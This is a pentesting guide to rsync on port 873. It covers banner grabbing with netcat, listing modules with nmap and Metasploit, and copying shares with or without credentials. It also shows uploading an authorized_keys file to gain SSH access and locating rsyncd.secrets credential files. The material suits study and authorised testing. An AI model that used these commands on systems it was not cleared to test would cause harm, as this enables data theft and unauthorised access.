# 873 - Pentesting Rsync

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## **Basic Information** From [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security. **Default port:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## Enumeration ### Banner & Manual communication ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **Enumerating Shared Folders** **Rsync modules** are recognized as **directory shares** that might be **protected with passwords**. To identify available modules and check if they require passwords, the following commands are used: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific **credentials**, indicated by an **"Access Denied"** message. ### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync) ### Manual Rsync Usage Upon obtaining a **module list**, actions depend on whether authentication is needed. Without authentication, **listing** and **copying** files from a shared folder to a local directory is achieved through: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` This process **recursively transfers files**, preserving their attributes and permissions. With **credentials**, listing and downloading from a shared folder can be done as follows, where a password prompt will appear: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` To **upload content**, such as an _**authorized_keys**_ file for access, use: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST To locate the rsyncd configuration file, execute: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` Within this file, a _secrets file_ parameter might point to a file containing **usernames and passwords** for rsyncd authentication. ## References * [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)

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